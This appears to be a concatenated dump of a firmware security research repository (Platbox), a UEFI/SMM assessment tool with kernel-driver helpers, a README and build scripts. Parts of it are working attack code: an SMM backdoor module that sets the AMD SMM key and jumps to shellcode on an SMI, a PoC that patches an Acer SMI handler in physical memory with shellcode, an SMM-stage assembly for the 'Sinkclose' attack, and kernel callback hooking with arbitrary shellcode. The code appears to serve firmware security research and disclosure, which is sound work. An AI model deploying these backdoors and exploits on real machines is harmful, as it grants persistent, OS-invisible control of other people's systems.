UINT32 GetFADT_Address() { 5 | 6 | DWORD error = ERROR_SUCCESS; 7 | DWORD requriedSize = 0; 8 | RTACPI_FACP* tableData = NULL; 9 | DWORD bytesWritten = 0; 10 | 11 | DWORD FADT_addr = 0; 12 | 13 | requriedSize = GetSystemFirmwareTable('ACPI', 'PCAF', NULL, 0); 14 | 15 | // Allocate memory for data 16 | tableData = (RTACPI_FACP*) HeapAlloc(GetProcessHeap(), 0, requriedSize); 17 | if (!tableData) { 18 | error = ERROR_OUTOFMEMORY; 19 | goto exit; 20 | } 21 | 22 | // Retrieve the table 23 | bytesWritten = GetSystemFirmwareTable('ACPI', 'PCAF', tableData, requriedSize); 24 | 25 | if (bytesWritten != requriedSize) { 26 | error = ERROR_INVALID_DATA; 27 | free(tableData); 28 | goto exit; 29 | } 30 | 31 | FADT_addr = tableData->FIRMWARE_CTRL; 32 | free(tableData); 33 | 34 | exit: 35 | return FADT_addr; 36 | } 37 | 38 | void EnumerateACPITables() { 39 | #ifdef __linux__ 40 | printf("EnumerateACPITables unimplemented!"); 41 | exit(-1); 42 | #else // _WIN32 43 | 44 | char Signature[4] = { 'U','E','F','I' }; 45 | UINT32 requiredSize = EnumSystemFirmwareTables((DWORD)Signature , NULL, 0); 46 | if (requiredSize == 0) { 47 | printf("Error in EnumSystemFirmwareTables: %08x\n", GetLastError()); 48 | return; 49 | } 50 | PVOID firmwareTablesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, requiredSize); 51 | if (!firmwareTablesBuffer) { 52 | printf("- Error: allocation failed!\n"); 53 | return; 54 | } 55 | requiredSize = EnumSystemFirmwareTables((DWORD)Signature, firmwareTablesBuffer, requiredSize); 56 | if (requiredSize == 0) { 57 | printf("Error in EnumSystemFirmwareTables\n"); 58 | HeapFree(GetProcessHeap(), 0, firmwareTablesBuffer); 59 | return; 60 | } 61 | print_memory(0, (char *) firmwareTablesBuffer, requiredSize); 62 | 63 | HeapFree(GetProcessHeap(), 0, firmwareTablesBuffer); 64 | #endif 65 | } -------------------------------------------------------------------------------- /PlatboxLib/src/windows/kernelHookCb.cpp: -------------------------------------------------------------------------------- 1 | #include "__win.h" 2 | #include "Util.h" 3 | 4 | /// Windows only 5 | #ifdef _WIN32 6 | 7 | void hook_kernel_callback(PVOID target_address) { 8 | PATCH_CALLBACK p = { 0 }; 9 | p.contentSize = 0; 10 | p.targetAddress = target_address; 11 | 12 | UINT64 hook_address = 0; 13 | 14 | DWORD bytesReturned = 0; 15 | NTSTATUS status = DeviceIoControl(g_hDevice, IOCTL_PATCH_CALLBACK, 16 | &p, sizeof(PATCH_CALLBACK), 17 | &hook_address, sizeof(UINT64), 18 | &bytesReturned, NULL); 19 | if (NT_SUCCESS(status)) { 20 | printf("-> address of new kernel hook object: %p\n", hook_address); 21 | } 22 | else { 23 | printf("-> error hooking kernel cb\n"); 24 | } 25 | } 26 | 27 | void hook_kernel_callback_with_shellcode(PVOID target_address, char *shellcode) { 28 | PATCH_CALLBACK p = { 0 }; 29 | unsigned char *pOpcodes = NULL; 30 | UINT32 shlen = 0; 31 | hexstring_to_opcodes(shellcode, &pOpcodes, &shlen); 32 | 33 | p.contentSize = shlen; 34 | p.patchContent = pOpcodes; 35 | p.targetAddress = target_address; 36 | 37 | UINT64 hook_address = 0; 38 | 39 | DWORD bytesReturned = 0; 40 | NTSTATUS status = DeviceIoControl(g_hDevice, IOCTL_PATCH_CALLBACK, 41 | &p, sizeof(PATCH_CALLBACK), 42 | &hook_address, sizeof(UINT64), 43 | &bytesReturned, NULL); 44 | if (NT_SUCCESS(status)) { 45 | printf("-> address of new kernel hook object: %p\n", hook_address); 46 | } 47 | else { 48 | printf("-> error hooking kernel cb\n"); 49 | } 50 | 51 | free(pOpcodes); 52 | } 53 | 54 | void restore_kernel_callback(PVOID target_address) { 55 | RESTORE_CALLBACK p = { 0 }; 56 | p.targetAddress = target_address; 57 | 58 | DWORD bytesReturned = 0; 59 | NTSTATUS status = DeviceIoControl(g_hDevice, IOCTL_RESTORE_CALLBACK, 60 | &p, sizeof(RESTORE_CALLBACK), 61 | NULL, NULL, 62 | &bytesReturned, NULL); 63 | if (NT_SUCCESS(status)) { 64 | printf("-> kernel hook at %p was removed\n", target_address); 65 | } 66 | else { 67 | printf("-> error restoring kernel cb\n"); 68 | } 69 | } 70 | 71 | void remove_all_kernel_callbacks() { 72 | DWORD bytesReturned = 0; 73 | NTSTATUS status = DeviceIoControl(g_hDevice, IOCTL_REMOVE_ALL_CALLBACKS_HOOKS, 74 | NULL, NULL, 75 | NULL, NULL, 76 | &bytesReturned, NULL); 77 | if (NT_SUCCESS(status)) { 78 | printf("-> all kernel hooks were removed!\n"); 79 | } 80 | else { 81 | printf("-> error removing kernel hooks\n"); 82 | } 83 | } 84 | 85 | void parse_kernel_hook_operation(int argc, char **argv) { 86 | if (!strcmp(argv[1], "patch")) { 87 | // kernelhook patch ffff89868ba1ce30 88 | if (argc == 3) { 89 | UINT64 address = strtoull(argv[2], NULL, 16); 90 | hook_kernel_callback((PVOID)address); 91 | } 92 | if (argc == 4) { 93 | // kernelhook patch ffff89868ba1ce30 909090c3 94 | UINT64 address = strtoull(argv[2], NULL, 16); 95 | hook_kernel_callback_with_shellcode((PVOID)address, argv[3]); 96 | } 97 | } 98 | if (!strcmp(argv[1], "restore")) { 99 | if (argc == 3) { 100 | UINT64 address = strtoull(argv[2], NULL, 16); 101 | restore_kernel_callback((PVOID)address); 102 | } 103 | } 104 | if (!strcmp(argv[1], "remove")) { 105 | remove_all_kernel_callbacks(); 106 | } 107 | } 108 | 109 | 110 | #endif 111 | 112 | -------------------------------------------------------------------------------- /PlatboxLib/src/windows/page_tables.cpp: -------------------------------------------------------------------------------- 1 | #include "__win.h" 2 | #include "Psapi.h" 3 | #include "physmem.h" 4 | #include "Util.h" 5 | 6 | 7 | 8 | UINT64 g_enumerated_drivers[2048]; 9 | void __get_nt_base(UINT64* base) { 10 | DWORD cbNeeded; 11 | EnumDeviceDrivers((PVOID *) g_enumerated_drivers, sizeof(g_enumerated_drivers), &cbNeeded); 12 | *base = g_enumerated_drivers[0]; 13 | } 14 | 15 | UINT32 g_PML4_IDX = 0; 16 | void find_pml4_idx() { 17 | /* 18 | .text:00000001402DDF10 MiGetPteAddress proc near 19 | .text:00000001402DDF10 shr rcx, 9 20 | .text:00000001402DDF14 mov rax, 7FFFFFFFF8h 21 | .text:00000001402DDF1E and rcx, rax 22 | .text:00000001402DDF21 mov rax, 0FFFFF68000000000h 23 | .text:00000001402DDF2B add rax, rcx 24 | .text:00000001402DDF2E retn 25 | .text:00000001402DDF2E MiGetPteAddress endp 26 | */ 27 | 28 | // Looks for the first 16 bytes of the MiGetPteAddress function 29 | // and extract the base and index 30 | 31 | if (g_PML4_IDX != 0) { 32 | return; 33 | } 34 | 35 | UINT64 nt_base; 36 | __get_nt_base(&nt_base); 37 | 38 | debug_print("Nt base: %016llx\n", nt_base); 39 | 40 | char *image_data = (char *) calloc(1, PAGE_SIZE); 41 | do_kernel_va_read(nt_base, PAGE_SIZE, image_data); 42 | 43 | UINT32 pe_header_offset = *(UINT32 *)(image_data + 0x3C); 44 | 45 | IMAGE_NT_HEADERS64 *pImageNTHeader = (IMAGE_NT_HEADERS64 *)(image_data + pe_header_offset); 46 | 47 | PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER) 48 | (image_data + pe_header_offset + sizeof(UINT32) 49 | + (sizeof(struct _IMAGE_FILE_HEADER )) + pImageNTHeader->FileHeader.SizeOfOptionalHeader); 50 | 51 | UINT32 code_size = 0; 52 | UINT64 code_start = 0; 53 | for (int i = 0; i < pImageNTHeader->FileHeader.NumberOfSections; i++) { 54 | //printf("pSectionHeader->Name: %s\n", pSectionHeader->Name); 55 | if (!memcmp(pSectionHeader->Name, ".text\x00\x00\x00", 8)) { 56 | // printf("\t\t0x%x\t\tVirtual Size\n", pSectionHeader->Misc.VirtualSize); 57 | // printf("\t\t0x%x\t\tVirtual Address\n", pSectionHeader->VirtualAddress); 58 | // printf("\t\t0x%x\t\tSize Of Raw Data\n", pSectionHeader->SizeOfRawData); 59 | // printf("\t\t0x%x\t\tPointer To Raw Data\n", pSectionHeader->PointerToRawData); 60 | // printf("\t\t0x%x\t\tPointer To Relocations\n", pSectionHeader->PointerToRelocations); 61 | // printf("\t\t0x%x\t\tPointer To Line Numbers\n", pSectionHeader->PointerToLinenumbers); 62 | // printf("\t\t0x%x\t\tNumber Of Relocations\n", pSectionHeader->NumberOfRelocations); 63 | // printf("\t\t0x%x\t\tNumber Of Line Numbers\n", pSectionHeader->NumberOfLinenumbers); 64 | // printf("\t\t0x%x\tCharacteristics\n", pSectionHeader->Characteristics); 65 | 66 | code_size = pSectionHeader->Misc.VirtualSize; 67 | code_size = (code_size + 0xFFF) & ~0xFFF; 68 | code_start = nt_base + pSectionHeader->VirtualAddress; 69 | break; 70 | } 71 | 72 | 73 | pSectionHeader++; 74 | } 75 | 76 | free(image_data); 77 | 78 | char *code_data = (char *) calloc(1, code_size); 79 | 80 | char needle[] = "\x48\xc1\xe9\x09\x48\xb8\xf8\xff\xff\xff\x7f\x00\x00\x00\x48\x23"; 81 | 82 | do_kernel_va_read(code_start, code_size, code_data); 83 | 84 | char *ptr = (char *) memmem(code_data, code_size, needle, sizeof(needle) - 1); 85 | if (ptr) { 86 | UINT32 offset = ptr - code_data; 87 | debug_print("Found match at offset: %08x\n", offset); 88 | 89 | UINT64 pml4_base = *(UINT64 *) (code_data + offset + (sizeof(needle) - 1) + 3); 90 | 91 | g_PML4_IDX = (pml4_base & 0x0000FFFFFFFFFFFF) >> 9 >> 9 >> 9 >> 12; 92 | debug_print("-> pml4 base: %016llx\n", pml4_base); 93 | debug_print("-> pml4_idx found: %08x\n", g_PML4_IDX); 94 | 95 | } else { 96 | debug_print("- error: Needle for PML4 Index not found!\n"); 97 | } 98 | 99 | free(code_data); 100 | } 101 | 102 | 103 | UINT64 get_pxe_address(UINT64 address) { 104 | UINT entry = g_PML4_IDX; 105 | UINT64 result = address >> 9; 106 | UINT64 lower_boundary = ((UINT64)0xFFFF << 48) | ((UINT64)entry << 39); 107 | UINT64 upper_boundary = (((UINT64)0xFFFF << 48) | ((UINT64)entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8; 108 | result = result | lower_boundary; 109 | result = result & upper_boundary; 110 | return result; 111 | } 112 | 113 | 114 | 115 | ////////////////////////////////////////////////////////////// 116 | /* Resolve NT Functions */ 117 | ////////////////////////////////////////////////////////////// 118 | 119 | 120 | _NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; 121 | _NtFreeVirtualMemory NtFreeVirtualMemory = NULL; 122 | 123 | void resolve_nt_functions(void) 124 | { 125 | NtAllocateVirtualMemory = (_NtAllocateVirtualMemory) 126 | GetProcAddress( GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory"); 127 | 128 | if (NtAllocateVirtualMemory == NULL) 129 | { 130 | debug_print("NtAllocateVirtualMemory wasn't found"); 131 | exit(-1); 132 | } 133 | 134 | debug_print("NtAllocateVirtualMemory Address: %016llx\n", NtAllocateVirtualMemory); 135 | 136 | 137 | NtFreeVirtualMemory = (_NtFreeVirtualMemory) 138 | GetProcAddress( GetModuleHandleA("ntdll"), "NtFreeVirtualMemory"); 139 | 140 | if (NtFreeVirtualMemory == NULL) 141 | { 142 | debug_print("NtFreeVirtualMemory wasn't found"); 143 | exit(-1); 144 | } 145 | 146 | debug_print("NtFreeVirtualMemory Address: %016llx\n", NtFreeVirtualMemory); 147 | 148 | } 149 | 150 | ////////////////////////////////////////////////////////////// 151 | ////////////////////////////////////////////////////////////// 152 | 153 | 154 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Platbox 2 | UEFI and SMM Assessment Tool 3 | 4 | ## Features 5 | 6 | Platbox is a tool that helps assessing the security of the platform: 7 | 8 | - Dumps the platform registers that are interesting security-wise 9 | - Flash Locks 10 | - MMIO and Remapping Locks 11 | - SMM Base and Locks 12 | - MSRs 13 | - RW access to the PCI configuration space of devices. 14 | - RW to physical memory and virtual memory. 15 | - Allows allocating physical memory and map memory to usermode. 16 | - Read and Write MSRs. 17 | - Dump SPI Flash content (BIOS) into a file. 18 | - Basic dumb SMI Fuzzer. 19 | - Dump S3 Bootscript (from SMM-Lockbox) into a file. 20 | - Dump EFI Memory Map (Linux only for now). 21 | - List UEFI variables. 22 | - Supports Linux and Windows. 23 | - Supports Intel and AMD. 24 | 25 | ### Example of 'chipset' command output for an AMD platform 26 | 27 | ![Kiku](example_chipset_output_amd.png) 28 | ![Kiku](example_chipset_output_amd2.png) 29 | 30 | ## Project Structure 31 | 32 | The project is divided as follows: 33 | 34 | - PlatboxDrv: kernel drivers used for Linux and Windows. 35 | - PlatboxLib: the usermode component that loads the kernel driver and provides access to all the previously listed features. 36 | - PlatboxCli: a console client that uses the library. 37 | - Pocs: an example of a program using features from the libary. 38 | 39 | 40 | ## Compilation Steps 41 | 42 | ### Windows 43 | 44 | ``` 45 | mkdir build 46 | cd build 47 | cmake -G "Visual Studio 17 2022" -A x64 -S .. -B "build64" 48 | cmake --build build64/ --target platbox_cli 49 | ``` 50 | 51 | #### Release Build 52 | 53 | ``` 54 | cmake -G "Visual Studio 17 2022" -A x64 -S .. -B "build64" 55 | cmake --build build64/ --target platbox_cli --config Release 56 | ``` -------------------------------------------------------------------------------- /SmmBackdoor/README.md: -------------------------------------------------------------------------------- 1 | An backdoor SMM module that will configure the AMD SMM_KEY registers with 0x494F414354495645 2 | 3 | Upon an SMI, the code jumps to physical address 0x1000 -------------------------------------------------------------------------------- /SmmBackdoor/SmmBackdoor.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | 11 | #define SMMKEY_MSR 0xC0010119 12 | #define SMMKEY_VAL 0x494F414354495645 13 | 14 | #define SHELLCODE_ADDR ((UINT64)0x1000) 15 | 16 | 17 | VOID 18 | EFIAPI 19 | WriteSmmKey () 20 | { 21 | AsmWriteMsr64(SMMKEY_MSR, SMMKEY_VAL); 22 | } 23 | 24 | 25 | EFI_STATUS 26 | EFIAPI 27 | InitBackdoor () 28 | { 29 | 30 | EFI_STATUS Status = EFI_SUCCESS; 31 | EFI_MP_SERVICES_PROTOCOL *MpService = NULL; 32 | 33 | Status = gBS->LocateProtocol ( 34 | &gEfiMpServiceProtocolGuid, 35 | NULL, 36 | (VOID **)&MpService 37 | ); 38 | 39 | if (EFI_ERROR (Status)) { 40 | return Status; 41 | } 42 | 43 | MpService->StartupAllAPs(MpService, WriteSmmKey, FALSE, NULL, 0, NULL, NULL); 44 | WriteSmmKey(); 45 | 46 | return EFI_SUCCESS; 47 | } 48 | 49 | 50 | // #pragma GCC push_options 51 | // #pragma GCC optimize ("O0") 52 | EFI_STATUS 53 | EFIAPI 54 | SmiHandler ( 55 | IN EFI_HANDLE DispatchHandle, 56 | IN CONST VOID *Context OPTIONAL, 57 | IN OUT VOID *CommBuffer OPTIONAL, 58 | IN OUT UINTN *CommBufferSize OPTIONAL 59 | ) 60 | { 61 | void (*fp)() = (void (*)()) SHELLCODE_ADDR; 62 | fp(); 63 | 64 | // asm("call %0" : : "r" (SHELLCODE_ADDR)); 65 | // asm("xor %rax, %rax\n\t" 66 | // "movq $4096, %rax\n\t" 67 | // "call %rax"); 68 | 69 | return EFI_SUCCESS; 70 | } 71 | // #pragma GCC pop_options 72 | 73 | EFI_STATUS 74 | EFIAPI 75 | SmmBackdoorInit ( 76 | IN EFI_HANDLE ImageHandle, 77 | IN EFI_SYSTEM_TABLE *SystemTable 78 | ) 79 | 80 | { 81 | EFI_STATUS Status = EFI_SUCCESS; 82 | EFI_SMM_SW_DISPATCH2_PROTOCOL *SmmSwDispatch2 = NULL; 83 | EFI_SMM_SW_REGISTER_CONTEXT SmmSwDispatchContext; 84 | EFI_HANDLE DispatchHandle; 85 | 86 | InitBackdoor(); 87 | 88 | Status = gSmst->SmmLocateProtocol ( 89 | &gEfiSmmSwDispatch2ProtocolGuid, 90 | NULL, 91 | (VOID **)&SmmSwDispatch2 92 | ); 93 | 94 | if (EFI_ERROR (Status)) { 95 | return Status; 96 | } 97 | 98 | SmmSwDispatchContext.SwSmiInputValue = (UINTN)0x69; 99 | Status = SmmSwDispatch2->Register ( 100 | SmmSwDispatch2, 101 | SmiHandler, 102 | &SmmSwDispatchContext, 103 | &DispatchHandle 104 | ); 105 | 106 | if (EFI_ERROR (Status)) { 107 | return Status; 108 | } 109 | 110 | return EFI_SUCCESS; 111 | } 112 | -------------------------------------------------------------------------------- /SmmBackdoor/SmmBackdoor.depex: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/SmmBackdoor/SmmBackdoor.depex -------------------------------------------------------------------------------- /SmmBackdoor/SmmBackdoor.efi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/SmmBackdoor/SmmBackdoor.efi -------------------------------------------------------------------------------- /SmmBackdoor/SmmBackdoor.inf: -------------------------------------------------------------------------------- 1 | ## @file 2 | # Component description file for QEMU Flash Firmware Volume Block SMM driver 3 | # module. 4 | # 5 | # This SMM driver implements and produces the SMM Firmware Volue Block Protocol 6 | # for a QEMU flash device. 7 | # 8 | # Copyright (C) 2015, Red Hat, Inc. 9 | # Copyright (c) 2006 - 2013, Intel Corporation. All rights reserved.
10 | # 11 | # SPDX-License-Identifier: BSD-2-Clause-Patent 12 | # 13 | ## 14 | 15 | [Defines] 16 | INF_VERSION = 0x00010005 17 | BASE_NAME = SmmBackdoor 18 | FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1 19 | MODULE_TYPE = DXE_SMM_DRIVER 20 | VERSION_STRING = 1.0 21 | PI_SPECIFICATION_VERSION = 0x0001000A 22 | ENTRY_POINT = SmmBackdoorInit 23 | 24 | # 25 | # The following information is for reference only and not required by the build 26 | # tools. 27 | # 28 | # VALID_ARCHITECTURES = IA32 X64 29 | # 30 | 31 | [Sources.X64] 32 | SmmBackdoor.c 33 | 34 | [Packages] 35 | MdePkg/MdePkg.dec 36 | MdeModulePkg/MdeModulePkg.dec 37 | 38 | [LibraryClasses] 39 | UefiDriverEntryPoint 40 | UefiBootServicesTableLib 41 | SmmServicesTableLib 42 | 43 | [Guids] 44 | 45 | [Protocols] 46 | gEfiSmmSwDispatch2ProtocolGuid 47 | gEfiMpServiceProtocolGuid 48 | 49 | [Depex] 50 | gEfiSmmSwDispatch2ProtocolGuid AND 51 | gEfiMpServiceProtocolGuid 52 | -------------------------------------------------------------------------------- /build.bat: -------------------------------------------------------------------------------- 1 | mkdir build 2 | cd build 3 | cmake -G "Visual Studio 17 2022" -A x64 -S .. -B "build64" 4 | cmake --build build64/ --target platbox_cli --config Release 5 | cmake --build build64/ --config Release 6 | cd .. -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | mkdir build 2 | cd build 3 | cmake .. 4 | make 5 | cd .. 6 | -------------------------------------------------------------------------------- /compiled/Platbox.cer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/compiled/Platbox.cer -------------------------------------------------------------------------------- /compiled/Platbox.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; Platbox.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer = 03/12/2023,22.8.38.509 11 | CatalogFile=Platbox.cat 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 23 | 24 | 25 | [Standard.NTamd64] 26 | 27 | 28 | [Strings] 29 | ManufacturerName="" ;TODO: Replace with your manufacturer name 30 | ClassName="" 31 | DiskName="Platbox Source Disk" 32 | -------------------------------------------------------------------------------- /compiled/Platbox.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/compiled/Platbox.sys -------------------------------------------------------------------------------- /compiled/platbox_cli: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/compiled/platbox_cli -------------------------------------------------------------------------------- /compiled/platbox_cli.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/compiled/platbox_cli.exe -------------------------------------------------------------------------------- /compiled/pocs/dummy: -------------------------------------------------------------------------------- 1 | 1 2 | -------------------------------------------------------------------------------- /example_chipset_output_amd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/example_chipset_output_amd.png -------------------------------------------------------------------------------- /example_chipset_output_amd2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/Platbox/14772199311383eace0dba1b80f21b15675e8908/example_chipset_output_amd2.png -------------------------------------------------------------------------------- /pocs/Acer/SmmCallout.cpp: -------------------------------------------------------------------------------- 1 | #include "global.h" 2 | #include "pci.h" 3 | #include "common_chipset.h" 4 | #include "Util.h" 5 | #include "physmem.h" 6 | #include "msr.h" 7 | #include "smi.h" 8 | 9 | 10 | 11 | void proof_of_concept() 12 | { 13 | NTSTATUS status; 14 | SW_SMI_CALL smi_call = { 0 }; 15 | char* ShellcodePage = NULL; 16 | 17 | UINT32 HookAddr = 0xAE965438; 18 | UINT32 HookLen = 10; 19 | const char* Hook = "\x48\xC7\xC0\x00\x10\x00\x00" // mov rax,0x1000 20 | "\xFF\xD0" // call rax 21 | "\xC3"; // ret 22 | 23 | UINT32 ShellcodeAddr = 0x1000; 24 | UINT32 PlaceholderAddr = ShellcodeAddr + 0x20; 25 | 26 | char* ShellcodePageBak = (char *) malloc(PAGE_SIZE); 27 | char* HookPageBak = (char *) malloc(PAGE_SIZE); 28 | 29 | 30 | // UINT32 ShellcodeLen = 13; 31 | // char* Shellcode = "\x48\xC7\xC0\x20\x10\x00\x00" // mov rax, #PlaceholderAddr 32 | // "\xFE\x00" // inc byte ptr [rax] 33 | // "\x48\x31\xC0" // xor rax, rax 34 | // "\xC3"; // ret 35 | 36 | // UINT32 ShellcodeLen = 16; 37 | // char* Shellcode = "\x48\xC7\xC1\x20\x10\x00\x00" // mov rcx, #PlaceholderAddr 38 | // "\x48\x89\x01" // mov [rcx], rax 39 | // "\x48\x31\xC0" // xor rax, rax 40 | // "\xC3"; // ret 41 | 42 | UINT32 ShellcodeLen = 22; 43 | const char* Shellcode = "\x48\xC7\xC1\x20\x10\x00\x00" // mov rcx, #PlaceholderAddr 44 | "\x48\x31\xC0" // xor rax, rax 45 | "\x8C\xC8" // mov eax, cs 46 | "\x83\xE0\x03" // mov eax, 0x3 47 | "\x48\x89\x01" // mov [rcx], rax 48 | "\x48\x31\xC0" // xor rax, rax 49 | "\xC3"; // ret 50 | 51 | printf("Shellcode address is %lx (%d bytes)\n", ShellcodeAddr, ShellcodeLen); 52 | printf("Hook address is %lx (%d bytes)\n", HookAddr, HookLen); 53 | getchar(); 54 | 55 | // Backup page with SMI handler that will be hooked 56 | char* HookPage = (char *) map_physical_memory(HookAddr & 0xFFFFF000, PAGE_SIZE); 57 | if (!HookPage) { 58 | printf("Failed to allocate user physical mem\n"); 59 | goto exit; 60 | } 61 | memcpy(HookPageBak, HookPage, PAGE_SIZE); 62 | 63 | // Backup page where the shellcode will be written 64 | ShellcodePage = (char *) map_physical_memory(ShellcodeAddr & 0xFFFFF000, PAGE_SIZE); 65 | if (!ShellcodePage) { 66 | printf("Failed to allocate user physical mem\n"); 67 | goto exit; 68 | } 69 | memcpy(ShellcodePageBak, ShellcodePage, PAGE_SIZE); 70 | 71 | // Write the shellcode 72 | memcpy(ShellcodePage + (ShellcodeAddr & 0xFFF), (char *)Shellcode, ShellcodeLen); 73 | memset(ShellcodePage + (PlaceholderAddr & 0xFFF), 0x69, 1); 74 | 75 | // Write the SMI handler 76 | memcpy(HookPage + (HookAddr & 0xFFF), (char *)Hook, HookLen); 77 | 78 | printf("Read value before %d\n", *(ShellcodePage + (PlaceholderAddr & 0xFFF))); 79 | 80 | printf("Sending SMI\n"); 81 | getchar(); 82 | 83 | smi_call.SwSmiNumber = 208; 84 | 85 | trigger_smi(&smi_call); 86 | 87 | printf("Read value after %d", *(ShellcodePage + (PlaceholderAddr & 0xFFF))); 88 | getchar(); 89 | 90 | // Restore hooked SMI handler 91 | memcpy(HookPage, HookPageBak, PAGE_SIZE); 92 | 93 | // Restore the shellcode page 94 | memcpy(ShellcodePage, ShellcodePageBak, PAGE_SIZE); 95 | 96 | exit: 97 | return; 98 | } 99 | 100 | 101 | int main(int argc, char **argv) 102 | { 103 | 104 | open_platbox_device(); 105 | proof_of_concept(); 106 | close_platbox_device(); 107 | 108 | return 0; 109 | } -------------------------------------------------------------------------------- /pocs/AmdSinkclose/sinkclose.s: -------------------------------------------------------------------------------- 1 | 2 | 3 | %define PROTECT_MODE_CS 0x08 4 | %define PROTECT_MODE_DS 0x20 5 | %define LONG_MODE_CS 0x38 6 | %define TSS_SEGMENT 0x40 7 | %define LONG_MODE_DS 0x48 8 | 9 | %define ORIGINAL_GDTR 0x1400 10 | %define SQUIRREL_BAR 0xd0800000 11 | %define CORE0_INITIAL_STACK 0x1E00 12 | %define CORE0_PAGE_TABLE_BASE 0x2000 13 | %define CORE0_NEXT_STAGE 0x1035 14 | 15 | %define X64_STAGING_FUNC_VA 0xfffff6fb7dbee000 16 | %define X64_STAGING_RSP 0xfffff6fb7dbef000 17 | 18 | %define IA32_EFER 0xC0000080 19 | 20 | %define CORE1_MUTEX_SIGNAL_ADDR 0x3220 21 | 22 | 23 | global _core0_shell 24 | 25 | section .text 26 | 27 | ; This code is executed in SMM by Core0 as part of the attack 28 | [bits 32] 29 | _core0_shell: 30 | 31 | ; Clear TClose 32 | mov ecx,0xc0010113 33 | rdmsr 34 | and eax,0xfffffff3 35 | wrmsr 36 | 37 | mov ax, PROTECT_MODE_DS 38 | o16 mov ds, ax 39 | o16 mov es, ax 40 | o16 mov fs, ax 41 | o16 mov gs, ax 42 | o16 mov ss, ax 43 | mov esp, CORE0_INITIAL_STACK 44 | 45 | ; Clean the GDT and CS 46 | mov ecx, ORIGINAL_GDTR 47 | lgdt [ecx] 48 | 49 | push PROTECT_MODE_CS 50 | mov eax, CORE0_NEXT_STAGE 51 | push eax 52 | retf 53 | 54 | next_stage: 55 | 56 | ; mov ecx, SQUIRREL_BAR 57 | ; lea ecx, [ecx + 0] 58 | ; mov byte [ecx], 0xFA 59 | ; xor ecx,ecx 60 | 61 | jmp ProtFlatMode 62 | 63 | [BITS 64] 64 | ProtFlatMode: 65 | 66 | ; mov rcx, SQUIRREL_BAR 67 | ; lea rcx, [rcx + 0x1] 68 | ; mov byte [rcx], 0xFB 69 | ; xor rcx,rcx 70 | 71 | mov eax, CORE0_PAGE_TABLE_BASE 72 | mov cr3, rax 73 | mov eax, 0x668 ; as cr4.PGE is not set here, refresh cr3 74 | mov cr4, rax 75 | 76 | ; mov rcx, SQUIRREL_BAR 77 | ; lea rcx, [rcx + 0x2] 78 | ; mov byte [rcx], 0xFC 79 | ; xor rcx,rcx 80 | 81 | ; Load TSS 82 | sub esp, 8 ; reserve room in stack 83 | sgdt [rsp] 84 | mov eax, [rsp + 2] ; eax = GDT base 85 | add esp, 8 86 | mov dl, 0x89 87 | mov [rax + TSS_SEGMENT + 5], dl ; clear busy flag 88 | mov eax, TSS_SEGMENT 89 | ltr ax 90 | 91 | ; mov rcx, SQUIRREL_BAR 92 | ; lea rcx, [rcx + 0x3] 93 | ; mov byte [rcx], 0xFD 94 | ; xor rcx,rcx 95 | 96 | push LONG_MODE_CS ; push cs hardcore here 97 | call Base ; push return address for retf later 98 | Base: 99 | add dword [rsp], @LongMode - Base 100 | 101 | mov rax, [rsp] 102 | 103 | mov ecx, IA32_EFER 104 | rdmsr 105 | or ah, 1 ; enable LME 106 | wrmsr 107 | mov rbx, cr0 108 | or ebx, 0x80010023 ; enable paging + WP + NE + MP + PE 109 | mov cr0, rbx 110 | 111 | ; mov rcx, SQUIRREL_BAR 112 | ; lea rcx, [rcx + 0x4] 113 | ; mov byte [rcx], 0xFE 114 | ; xor rcx,rcx 115 | 116 | retf 117 | 118 | 119 | @LongMode: 120 | mov ax, LONG_MODE_DS 121 | o16 mov ds, ax 122 | o16 mov es, ax 123 | o16 mov fs, ax 124 | o16 mov gs, ax 125 | o16 mov ss, ax 126 | 127 | mov rax, X64_STAGING_RSP 128 | add rax, 0xF00 129 | mov rsp, rax 130 | 131 | ; mov rcx, SQUIRREL_BAR 132 | ; lea rcx, [rcx + 0x50] 133 | ; mov dword [rcx], 0x41414141 134 | 135 | mov rax, X64_STAGING_FUNC_VA 136 | call rax 137 | 138 | ; mov rcx, SQUIRREL_BAR 139 | ; lea rcx, [rcx + 0x60] 140 | ; mov dword [rcx], 0x43434343 141 | 142 | ; Return from SMM 143 | rsm 144 | 145 | nop 146 | nop 147 | nop 148 | nop 149 | db 'I' 150 | db 'O' 151 | db 'A' 152 | nop 153 | nop 154 | nop 155 | nop 156 | nop 157 | 158 | -------------------------------------------------------------------------------- /pocs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.13) 2 | 3 | 4 | # Maps to 